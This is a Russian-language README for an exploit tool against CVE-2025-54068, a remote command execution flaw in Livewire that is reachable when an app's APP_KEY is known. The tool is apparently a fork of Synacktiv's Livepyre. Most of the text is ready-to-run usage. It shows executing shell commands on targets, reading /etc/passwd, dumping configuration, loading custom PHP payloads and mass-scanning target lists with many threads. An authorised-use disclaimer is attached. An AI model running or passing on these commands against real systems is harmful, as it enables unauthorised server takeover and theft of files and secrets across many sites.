CVE-2025-54068

Инструмент, предназначенный для эксплуатации CVE-2025-54068 и удалённого выполнения команд, если известен APP_KEY проекта Livewire.

Этот инструмент является переработанной версией оригинального проекта Synacktiv:

• Livepyre — https://github.com/synacktiv/Livepyre

Основная концепция и методология основаны на оригинальной реализации. Эта версия включает небольшие улучшения и дополнительные функции для повышения удобства использования и гибкости.

Установка

Установите инструмент с помощью pipx:

pipx install git+https://github.com/haxorstars/CVE-2025-54068

или с помощью uv:

uv tool install git+https://github.com/haxorstars/CVE-2025-54068

🚀 Базовое использование

Запустите инструмент против одной цели:

livewire-rce-2025 -u target.com

С пользовательскими параметрами:

livewire-rce-2025 -u https://target.com -p "id;uname -a;pwd;ls -la"

🛠️ Пользовательская функция

Выполнение предопределённых пользовательских функций:

livewire-rce-2025 -u target.com --custom-function "shell:ls -la"
livewire-rce-2025 -u target.com --custom-function "read:/etc/passwd"
livewire-rce-2025 -u target.com --custom-function "phpinfo"
livewire-rce-2025 -u target.com --custom-function "config"

Объединение нескольких функций в одной команде:

livewire-rce-2025 -u target.com --custom-function "shell:whoami && shell:id && read:/etc/passwd"

🧩 Пользовательский PHP-файл

Используйте собственный файл PHP-пейлоада:

livewire-rce-2025 -u target.com --custom-file custom.php --param "shell:id"

🧪 Только генерация пейлоада

Сгенерировать пейлоад без отправки его на цель:

livewire-rce-2025 -generate-payload --custom-function "shell:ls -la"

Или с использованием пользовательского PHP-файла:

livewire-rce-2025 -generate-payload --custom-file custom.php

📦 Массовая проверка

Сканирование нескольких целей из файла:

livewire-rce-2025 -mass-check targets.txt -o results.json

С пользовательским количеством потоков:

livewire-rce-2025 -mass-check targets.txt -t 20 -o results.json

⚠️ Предупреждение

Этот инструмент предназначен только для образовательных целей и авторизованного тестирования безопасности. Не используйте его против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.

Happy hacking😄